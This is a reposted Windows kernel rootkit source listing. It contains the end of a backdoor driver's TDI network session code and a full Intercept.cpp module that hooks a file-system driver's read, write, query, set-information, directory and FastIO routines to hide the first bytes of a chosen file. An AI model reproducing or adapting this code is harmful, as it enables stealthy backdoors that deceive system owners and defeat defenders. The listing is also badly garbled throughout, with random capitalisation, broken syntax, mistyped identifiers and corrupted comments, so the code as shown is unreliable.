m_pipes-> terminating = true; // to not wait for Yesterday in ONUNLOAD

HDataPumpthread = NULL;

// set es "let's finish"

IF (m_pipes-> hpipeevents [0])) ZWseTevent (m_pipes-> hpipeevents [0], null);

// if WorkItem Works, Notify It About Termination

IF (m_workitemdesc) ((s_workitemdesc *) m_workitemdesc) -> WorkItemCanceled = true;

Delete pwbytepipe;

}

Uint session :: onreceive (uint indeed, uchar * data, uint available,

Uchar ** rcvbuffer, uint * rcvbufferlen)

{

// Received Some Data from the client peer.

// if all required Pointers and Handles Are Valid

IF (M_Pipe && PWBytepipe && M_pipes-> HPIPE)

{

// Write That Data To FIFO

PWBYTEPIPE-> LockedWrite (data, indeicated);

// and notify datapumpthread

ZWseTevent (m_pipes-> hpipeevents [0], null);

}

// now, if The Transport Has More Data Available Than Idicated,

// Allocate Another Buffer to Read The Rest .hen THE TRANSPORT

// done with it - asynchronously - wersiveComplete () HANDLER

// is Called. Note That Failure to Submit A Buffer Supressed Further

// Recieve INDICATIONS - UnTil and if a recv () is Issued.

IF (indeicated

* Rcvbuffer = new (nonpagedpool) uchar [* rcvbufferlen = available-indeicated];

}

Return INDICATED;

}

Void session :: OnsendComplete (Pvoid ​​Buf, TDI_STATUS STATUS, UINT BYTECNT)

{

// ür send request has completed. Free the buffer

IF (Status! = TDI_SUCCESS)

DPRINTF ("NTBackD00RDevice: Failed Sending Data, Err% X / N", STATUS;

// free the buffer

Delete (Uchar *) BUF);

Unreferenced_Parameter (Bytecnt);

}

Void session :: OnRecEception (TDI_STATUS STATUS, UINT IND, UCHAR * DATA)

{

// Buffer for the partially indeed data allocate and subsided during // onreceive () processing is filled in by the transport.

IF (status == tdi_success) {

IF (M_Pipe && PWBytepipe && M_pipes-> HPIPE)

{

// Write That Data To FIFO

PWBYTEPIPE-> LockedWrite (data, indeicated);

// and notify datapumpthread

ZWseTevent (m_pipes-> hpipeevents [0], null);

}

Else

DPRINTF ("NTBackD00RDevice: failed completing receive, err% x / n", status;

IF (status! = tdi_pending)

DELETE DATA;

}

// end of file

--- [8.10 - Intercept.cpp

// this Module Hooks:

// IRP_MJ_READ, IRP_MJ_WRITE, IRP_MJ_QUERY_INFORMATION,

// irp_mj_set_information, IRP_MJ_DIRECTORY_CONTROL,

// fastio_query_standard_info fastio_query_basic_info fastio_read (write)

// to hide first n bytes of given file

Extern "C" {

#include

}

#pragma hdrstop ("interceptio.pch")

/

// undocumented structures missing in ntddk.h

Typedef struct _file_internal_information {// information class 6

Large_integer fileid;

} File_internal_information, * pfile_internal_information;

Typedef struct _file_ea_information {// information class 7

Ulong electionLength;

} File_ea_information, * pfile_ea_information;

Typedef struct _file_access_information {// information class 8

Access_mask grantedAccess;

} File_access_information, * pfile_access_information;

Typedef struct _file_mode_information {// information class 16

Ulong mode;

} File_Mode_information, * pfile_mode_information;

Typedef struct _file_allocation_information {// information class 19

Large_integer allocationsize;

} File_allocation_information, * pfile_allocation_information;

Typedef struct _file_directory_information {

Ulong nextentryoffset; Ulong fileIndex;

Large_integer credectime;

Large_integer lastaccesstime;

Large_integer lastwritetime;

Large_integer changetime;

Large_integer endoffile;

Large_integer allocationsize;

Ulong FileAttributes;

Ulong filenamelength;

Wchar filename [1];

} File_directory_information, * pfile_directory_information;

Typedef struct _file_all_information {// information class 18

FILE_BASIC_INFORMATION BasicInformation;

FILE_STANDARD_INFORMATION STANDARDITION;

FILE_INTERNAL_INFORMATION INTERNALINFORMATION

File_ea_information election;

FILE_ACCESS_INFORMATION AccessInformation;

File_position_information;

File_mode_information modeInformation;

FILE_ALIGNMENT_INFORMATION ALIGNMENTINFORMATION;

FILE_NAME_INFORMATION NAMEINFORMATION;

} File_all_information, * pfile_all_information;

Typeryf struct tag_query_directory

{

Ulong Length;

Punicode_string filename;

File_information_class fileinformationclass;

Ulong fileIndex;

} Query_directory, * pquery_directory;

#pragma Pack (Push, 4)

Typedef struct tag_fqd_smallcommonblock

{

Ulong nextentryoffset;

Ulong fileIndex;

} Fqd_smallcommonblock, * pfqd_smallcommonblock;

Typedef struct tag_fqd_file_attr

{

Time CREATIONTIME;

Time LastAccesstime;

Time lastwritetime;

Time ChangeTime;

Large_integer endoffile;

Large_integer allocationsize;

Ulong FileAttributes;

} FQD_FILE_ATTR, * PFQD_File_attr;

Typedef struct tag_fqd_commonblock

{

Fqd_smallcommonblock smallcommonblock;

FQD_FILE_ATTR FILEATTR;

Ulong filenamelength;

} FQD_COMMONBLOCK, * PFQD_COMMONBLOCK;

Typedef struct _kfile_directory_information

{

FQD_COMMONBLOCK COMMONBLOCK;

Wchar filename [Anysize_Array];

} Kfile_directory_information, * pkfile_directory_information; type_def struct _kfile_full_dir_information

{

FQD_COMMONBLOCK COMMONBLOCK;

Ulong Easize;

Wchar filename [Anysize_Array];

} Kfile_full_dir_information, * pkfile_full_dir_information;

Typedef struct _kfile_both_dir_information

{

FQD_COMMONBLOCK COMMONBLOCK;

Ulong Easize;

Ushort shortfilenamelength;

Wchar shortfilename [12];

Wchar filename [Anysize_Array];

} KFILE_BOTH_DIR_INFORMATION, * pkfile_both_dir_information;

#pragma pack (POP)

/

// Global Variables

PDRIVER_OBJECT PDRIVEROBJECT;

PDRIVER_DISPATCH OLDISP, OldwriteDisp, OldqueryDisp, OldSetInfodisp, OldDirctLDISP;

Pfast_io_read oldfastioreaddisp;

PFAST_IO_WRITE OLDFASTIOWRITEDISP;

Pfast_io_query_standard_info oldfastioquerystandartinfodisp;

// size of out's invisible part (in Bytes)

Ulong InvisiblePartSize = 10;

// file, part of which we want to hide

Wchar_t oufilename [] = l "Testing.fil";

// size of outagename in Bytes, Excluding Null Terminator

Ulong outfilenamelen = sizeof (oufilename) - sizeof (wchar_t);

/

// functions

// Function Returns True IF FN Matches Ourfilename

Bool thisisourfile (Punicode_String Fn)

{

Return ((fn-> buffer) &&&

(Fn-> length> = oufilenamelen) &&

_wcsnicmp (wchar_t *) ((char *) fn-> buffer fn-> length - oufilenamelen,

Ourfilename, Ourfilenamelen / 2) == 0);

}

// structure used to TRACK IRPS Which Completion Must Be Handled

Struct S_ComplrtntRack

{

PIO_COMPLETION_ROUTINE COMPLETIONROUTINE

PVOID Context;

// when completionRoutine is Called, Flags Corresponds to Invokeon *

Uchar control;

PIO_STACK_LOCATION CISL;

File_information_class fileinformationclass;

PVOID BUFFER;

}

// Function Set New CompletionRoutine, Invokeonsuccess Flag, // and Copies Original Fields to Context

Void HookirPCompletion (PIO_STACK_LOCATION CISL,

PIO_COMPLETION_ROUTINE COMPLETIONROUTINE,

PVOID BUFFER,

FILE_INFORMATION_CLASS FILEINFORMATIONCLASS

{

S_complrtntrack * newContext =

(s_complrtntrack *) ExallocatePool (NonpagedPool, SIZEOF (S_ComplrtntRack);

NewContext-> CompletionRoutine = CISL-> CompletionRoutine;

NewContext-> context = cisl-> context;

NewContext-> Control = CISL-> Control;

NewContext-> CISL = CISL;

// Since Cisl.Parameters Unavailabile In Irpcompletion Handler,

// Let's save all Necessary Data in Context Structure

NewContext-> fileinformationclass = fileinformationclass;

NewContext-> buffer = buffer;

CISL-> CompletionRoutine = CompletionRoutine;

CISL-> context = newcontext;

CISL-> Control | = SL_INVOKE_ON_SUCCESS;

}

// Function Handles IRP Completion

NTSTATUS Newcomplrtn

In PDEvice_Object DeviceObject,

In PIRP IRP,

S_complrtntrack * cxt)

{

// Handle DiffERENT TYES OF IRP

Switch (cxt-> cisl-> majorfunction)

{

Case IRP_MJ_QUERY_INFORMATION:

_asm Int 3;

// thisisourfile is already tester

Switch (cxt-> fileinformationclass)

{

// in All Cases Modify CurrentByteOffset and / or size (endoffile)

// to Hide First InvisiblePartsize Bytes

Case FilePositionInformation:

((Pfile_position_information) cxt-> buffer) -> currentbyteoffset.quadpart - = invisiblepartsize;

Break;

Case FileEndoffileinformation:

((Pfile_end_of_file_information) cxt-> buffer -> endoffile.quadpart - = invisiblepartsize;

Break;

Case FileStandInformation:

((Pfile_standard_information) cxt-> buffer) -> endoffile.quadpart - = invisiblepartsize;

Case FileAlocationInformation:

((Pfile_allocation_information) cxt-> buffer -> allocationsize.quadpart - = invisiblepartsize;

Break;

Case FileAllInformation:

((Pfile_all_information) cxt-> buffer) -> POSITIONINFORMATION.CURRENTBYTEOFFSET.QUADPART - = InvisiblePartsize;

((Pfile_all_information) cxt-> buffer) -> StandardInformation.endoffile.quadpart - = InvisiblePartSize;

Break;

}

Case IRP_MJ_DIRECTORY_CONTROL:

// Get a Pointer to First Directory Entries

Pfqd_smallcommonblock pquerydirwin32 = (pfqd_smallcommonblock) cxt-> buffer;

// Cycle Through Directory ENTRIES

While (1)

{

PWchar pfilename = 0;

Ulong dwfilenamelength = 0;

Switch (cxt-> fileinformationclass)

{

// in All Cases Get Pointer to FileName and FileNameLength

Case FileDirectoryInformation:

DWFileNameLength = (pkfile_directory_information) PQueryDirwin32) -> CommonBlock.FileNameLength;

PfileName = (pkfile_directory_information) PQueryDirwin32) -> filename;

Break;

Case FileFullDirectoryInformation:

DWFileNameLength = ((pkfile_full_dir_information) pquerydirwin32) -> CommonBlock.FileNameLength;

PfileName = ((pkfile_full_dir_information) pquerydirwin32) -> filename;

Break;

Case FilebothDirectoryInformation:

DWFileNameLength = ((pkfile_both_dir_information) PQueryDirwin32) -> CommonBlock.FileNameLength;

PfileName = ((pkfile_both_dir_information) PQueryDirwin32 -> filename;

Break;

}

// _ ASM INT 3;

// is this file what we want?

IF (DWFileNameLength == Ourfilenamelen) &&&

_WCSNICMP (PfileName, Ourfilename, Ourfilenamelen / 2) == 0)

{

// _ ASM INT 3;

// hide first invisiblepartsize bytes ((pfqd_commonblock) PQueryDirwin32) -> fileattr.Endoffile.quadpart - = invisiblepartsize;

Break;

}

// Quit if no more Directory Entries

IF (! pquerydirwin32-> nextentryoffset) Break;

// Continue with Next Directory Entry

PQueryDirwin32 = (pfqd_smallcommonblock) ((char *) PQueryDirwin32 PQueryDirwin32-> NEXTENTRYOFFSET;

}

}

// if appropriate Control Flag Was Set, ...

IF

((Cxt-> control == sl_invoke_on_success) && (nt_success (igp-> iostatus.status)))))))

|| ((CXT-> Control == SL_INVOKE_ON_ERROR) && (NT_ERROR (IRP-> iostatus.status)))))))

|| ((CXT-> Control == SL_INVOKE_ON_CANCEL) && (Irp-> iostatus.status == status_cancelled))))))

//...call Original CompletionRoutine

Return CXT-> CompletionRoutine

DeviceObject,

IRP,

CXT-> context);

Else Return Status_suCcess;

}

// FileName IRP Handler Deal with

#define fname & (CISL-> fileObject-> filename)

// Function Handles IRP_MJ_READ AND IRP_MJ_WRITE

NTSTATUS NewReadwriteDisp

In PDEvice_Object DeviceObject,

In PIRP IRP)

{

// _ ASM INT 3;

PIO_STACK_LOCATION CISL = IOGETCURRENTIRPSTACKLOCATION (IRP);

IF (CISL-> FileObject &&

// don't mess with swaping

! (IRP-> Flags & IRP_Paging_IO) &&! (IRP-> Flags & IRP_SYNCHRONOUS_PAGING_IO))

{

IF (thisisourfile (FNAME))

{

// _ ASM INT 3;

CISL-> Parameters.write.byteoffset.quadpart = InvisiblePartSize;

// Write and read Has the Same Structure, Thus Handled Together

}

}

// Call Corresponding Original Handler

Switch (cisl-> majorfunction)

{

Case IRP_MJ_READ:

Return OldReaddisp (DeviceObject, IRP);

Case IRP_MJ_WRITE:

Return OldwriteDisp (DeviceObject, IRP);

}

}

/ / Function Handles IRP_MJ_QUERY_INFORMATION

NTSTATUS NewQueryDisp (

In PDEvice_Object DeviceObject,

In PIRP IRP)

{

// _ ASM INT 3;

PIO_STACK_LOCATION CISL = IOGETCURRENTIRPSTACKLOCATION (IRP);

IF ((CISL-> Majorfunction == IRP_MJ_QUERY_INFORMATION) &&

Thisisourfile (FNAME))

{

// _ ASM INT 3;

Switch (cisl-> parameters.queryfile.fileinformationClass)

{

// Information Types That Contains File Size or Current Offset, INFORMATION

Case FilePositionInformation:

Case FileEndoffileinformation:

Case FileStandInformation:

Case FileAlocationInformation:

Case FileAllInformation:

// _ ASM INT 3;

HookirPCompletion (CISL, (PIO_COMPLETITION_ROUTINE) NewcomPlrtn, IRP-> Associatedirp.systemBuffer, CISL-> Parameters.QueryFile.fileinformationClass;

}

}

// Call Original Handler

Return OldQueryDISP (DeviceObject, IRP);

}

// function handles IRP_MJ_SET_INFORMATION

NTSTATUS NewsetInfodisp

In PDEvice_Object DeviceObject,

In PIRP IRP)

{

// _ ASM INT 3;

PIO_STACK_LOCATION CISL = IOGETCURRENTIRPSTACKLOCATION (IRP);

IF (CISL-> FileObject && thisisourfile (FNAME))

{

// _ ASM INT 3;

Switch (cisl-> parameters.queryfile.fileinformationClass)

{

// Information Types That Contains File Size or Current Offset.

// in All Cases Modify CurrentByteOffset and / or size (endoffile)

// to Hide First InvisiblePartsize Bytes

Case FilePositionInformation:

((Pfile_position_information) IRP-> Associatedirp.systemBuffer -> CurrentByteoffSet.quadpart = InvisiblePartsize;

Break;

Case FileEndoffileinformation:

((Pfile_end_of_file_information) IRP-> AssociatedirP.systemBuffer -> endoffile.quadpart = invisiblepartsize;

Break;

Case FileStandInformation:

((Pfile_standard_information) IRP-> Associatedirp.systemBuffer -> endoffile.quadpart = invisiblepartsize; break;

Case FileAlocationInformation:

// _ ASM INT 3;

((Pfile_allocation_information) IRP-> Associatedirp.systemBuffer -> Allocationsize.quadpart = InvisiblePartSize;

Break;

Case FileAllInformation:

((Pfile_all_information) IRP-> Associatedirp.systemBuffer -> PositionInformation.currentByteOffset.quadpart = InvisiblePartsize;

((Pfile_all_information) IRP-> Associatedirp.systemBuffer -> StandardInformation.endoffile.quadpart = InvisiblePartSize;

Break;

}

}

// Call Original Handler

Return OldsetInfodisp (DeviceObject, IRP);

}

// Function Handles IRP_MJ_DIRECTORY_CONTROL

NTSTATUS NewDirctLDISP

In PDEvice_Object DeviceObject,

In PIRP IRP)

{

Void * pbuffer;

PIO_STACK_LOCATION CISL = IOGETCURRENTIRPSTACKLOCATION (IRP);

// _ ASM INT 3;

IF ((CISL-> Majorfunction == IRP_MJ_DIRECTORY_CONTROL) &&

(CISL-> minorfunction == IRP_MN_QUERY_DIRECTORY)))

{

// Handle Both Ways of Passing User Supplied Buffer

IF (IRP-> MDLADDRESS)

PBuffer = MmgetsystemAddressFormdl (IRP-> MDLADDRESS);

Else

PBuffer = IRP-> UserBuffer;

HookirPCompletion (CISL, (PIO_COMPLETION_ROUTINE) Newcomplrtn, PBuffer ((PQUERY_DIRECTORY) (& CILETORMATIONCLAS) -> fileInformationClass);

}

// Call Original Handler

Return OldDirctLDISP (DeviceObject, IRP);

}

#undef fname

// Function Handles Fastioread

Boolean newfastioread

In Pfile_Object FileObject,

In Plarge_integer fileoffset,

In Ulong Length,

In Boolean Wait,

In Ulong Lockkey,

Out pvoid buffer,

OUT PIO_STATUS_BLOCK IOSTATUS,

In PDEvice_Object DeviceObject

)

{

Large_integer newfileoffset; // _ asm INT 3;

IF ((FileObject) && (THISISOURFILE (& FileObject-> filename)))

{

// _ ASM INT 3;

// modify fileoffset to hide first invisiblepartsize bytes

NewfileOffset.quadpart = fileoffset-> quadpart invisiblepartsize;

Return Oldfastioreaddisp (FileObject, & NewFileOffset, Length, Wait, LockKey, Buffer,

Iostatus, deviceObject;

}

// Call Original Handler

Return OldfastioreAddisp (FileObject, FileOffset, Length, Wait, Lockkey, Buffer,

Iostatus, deviceObject;

}

// Function Handles FastioWrite

Boolean newfastiowrite

In Pfile_Object FileObject,

In Plarge_integer fileoffset,

In Ulong Length,

In Boolean Wait,

In Ulong Lockkey,

Out pvoid buffer,

OUT PIO_STATUS_BLOCK IOSTATUS,

In PDEvice_Object DeviceObject

)

{

Large_integer newfileoffset;

// _ ASM INT 3;

IF ((FileObject) && (THISISOURFILE (& FileObject-> filename)))

{

// _ ASM INT 3;

// modify fileoffset to hide first invisiblepartsize bytes

NewfileOffset.quadpart = fileoffset-> quadpart invisiblepartsize;

Return OldfastioWriteDisp (FileObject, & NewFileOffset, Length, Wait, LockKey, Buffer,

Iostatus, deviceObject;

}

Return OldfastiowriteDisp (FileObject, FileOffset, Length, Wait, Lockkey, Buffer,

Iostatus, deviceObject;

}

// Function Handles FastioQueryStandIrtInfo

Boolean NewfastioQueryStandIrtInfo

In struct _file_object * fileObject,

In Boolean Wait,

Out pfile_standard_information buffer,

OUT PIO_STATUS_BLOCK IOSTATUS,

In struct _Device_object * DeviceObject

)

{

// Call Original Handler

Boolean Status = OldfastioQueryStandIrtInfodisp (FileObject, Wait, Buffer, iostatus, deviceObject;

IF ((FileObject) && (thisisourfile (& FileObject-> filename)) {

// _ ASM INT 3;

// modify endoffile to hide first invisiblepartsize bytes

Buffer-> endoffile.quadpart - = invisiblepartsize;

}

Return status;

}

EXTERN "C"

NTSYSAPI

NTSTATUS

NTAPI

ObreferenceObjectByname

In Punicode_String ObjectPath,

In Ulong Attributes,

In Paccess_State PassedAccessState Optional,

In Access_mask DesiredAccess Optional,

In POBJECT_TYPE OBJECTTYPE,

In KProcessor_Mode Accessmode,

In Out Pvoid ​​Parsecontext Optional,

OUT PVOID * ObjectPtr

);

EXTERN "C" pvoid odriverObjectType;

// Function hooks given dispatch function (majorfunction)

Void InterceptFunction (Uchar Majorfunction,

PDRIVER_OBJECT PDRIVEROBJECT,

OPTIONAL PDRIVER_DISPATCH * OLDFunctionPtr,

OPTIONAL PDRIVER_DISPATCH NewFunctionPtr?

{

PDRIVER_DISPATCH * TARGETFN;

Targetfn = & (PDRIVEROBJECT-> Majorfunction [majorfunction]);

// hook mobile ife handler

IF (* Targetfn)

{

IF (OldFunctionPtr) * OldfunctionPtr = * Targetfn;

IF (newFunctionPtr) * targetfn = newfunctionptr

}

}

// Function Hooks Given Driver's Dispatch Functions

NTSTATUS Intercept (PWSTR PWSZDEVICENAME)

{

Unicode_string deficename;

NTSTATUS STATUS;

KIRQL Oldirql;

_asm Int 3;

PDRIVEROBJECT = NULL;

RTLinitunicodeString (& DeviceName);

Status = ObreferenceObjectByname (& DeviceName, Obj_case_insensitive, null, 0, (pobject_type) ipriverObjectType, kernelmode, null, (pvoid *) & pdriverObject;

IF (PDRIVEROBJECT)

{

// raise Irql to Avoid Context Switch

// When Some Pointer Is Semi-Modified

KeraiseiRQL (High_level, & OldiRQL);

// hook dispatch functions

InterceptFunction (IRP_MJ_READ, PDRIVEROBJECT, & OLDREADDISP, NewReadwriteDISP); InterceptFunction (IRP_MJ_WRITE, PDRIVEROBJECT, & OLDWRITEDISP, NewReadwriteDISP);

InterceptFunction (IRP_MJ_QUERY_INFORMATION, PDRIVEROBJECT, & OLDQUERYDISP, NewQueryDisp);

InterceptFunction (IRP_MJ_SET_INFORMATION, PDRIVEROBJECT, & OLDSetInfodisp, NewsetInfodisp);

InterceptFunction (IRP_MJ_DIRECTORY_CONTROL, PDRIVEROBJECT, & OLDIRCTLDISP, NewDirctLDISP);

// Hook Fastio Dispatch Functions if Fastio Table EXISTS

IF (PDRIVEROBJECT-> FASTIODISPATCH)

{

// 磬 玎  蝮 镟? 蜩    ?? w2k [RUS]

// it Would Be Better to Copy Fastio Table To Avoid

// Messing with keNel Memory Protection, But IT Works as it is

OldfastioreAddisp = PDRIVEROBJECT-> FASTIODISPATCH-> FASTIOREAD;

PDRIVEROBJECT-> FASTIODISPATCH-> FASTIOREAD = Newfastioread;

OldfastioWriteDisp = PDRIVEROBJECT-> FASTIODISPATCH-> FASTIOWRITE

PDRIVEROBJECT-> FASTIODISPATCH-> FASTIOWRITE = NewFastioWrite;

OldfastioQueryStandInfodisp = PDRIVEROBJECT-> FASTIODISPATCH-> FastioQueryStandardInfo;

PDRIVEROBJECT-> FASTIODISPATCH-> FASTIOQUERYSTANDARDINFO = NewFastioQuerystandartInfo;

}

KELOWERIRQL (Oldirql);

}

Return status;

}

// Function Cancels Hooking

Void unintercept ()

{

KIRQL Oldirql;

IF (PDRIVEROBJECT)

{

KeraiseiRQL (High_level, & OldiRQL);

InterceptFunction (IRP_MJ_READ, PDRIVEROBJECT, NULL, OLDREADDISP);

InterceptFunction (IRP_MJ_WRITE, PDRIVEROBJECT, NULL, OLDWRITEDISP);

InterceptFunction (IRP_MJ_QUERY_INFORMATION, PDRIVEROBJECT, NULL, OLDQUERYDISP);

InterceptFunction (IRP_MJ_SET_INFORMATION, PDRIVEROBJECT, NULL, OLDSETINFODISP);

InterceptFunction (IRP_MJ_DIRECTORY_CONTROL, PDRIVEROBJECT, NULL, OLDDIRCTLDISP);

IF (PDRIVEROBJECT-> FASTIODISPATCH) {

PDRIVEROBJECT-> FASTIODISPATCH-> FASTIOREAD = OldfastioreAddisp;

PDRIVEROBJECT-> FASTIODISPATCH-> FASTIOWRITE = OldfastioWriteDisp;

PDRIVEROBJECT-> FASTIODISPATCH-> FastioQueryStandardInfo = OldfastioQuerystandartInfodisp;

}

KELOWERIRQL (Oldirql);

ObdereferenceObject (PDRIVEROBJECT);

}

}

| = [EOF] = ------------------------------------------------------------------------------------------------------------------------ ------------------- = |

转载请注明原文地址:https://www.9cbs.com/read-40492.html

New Post(0)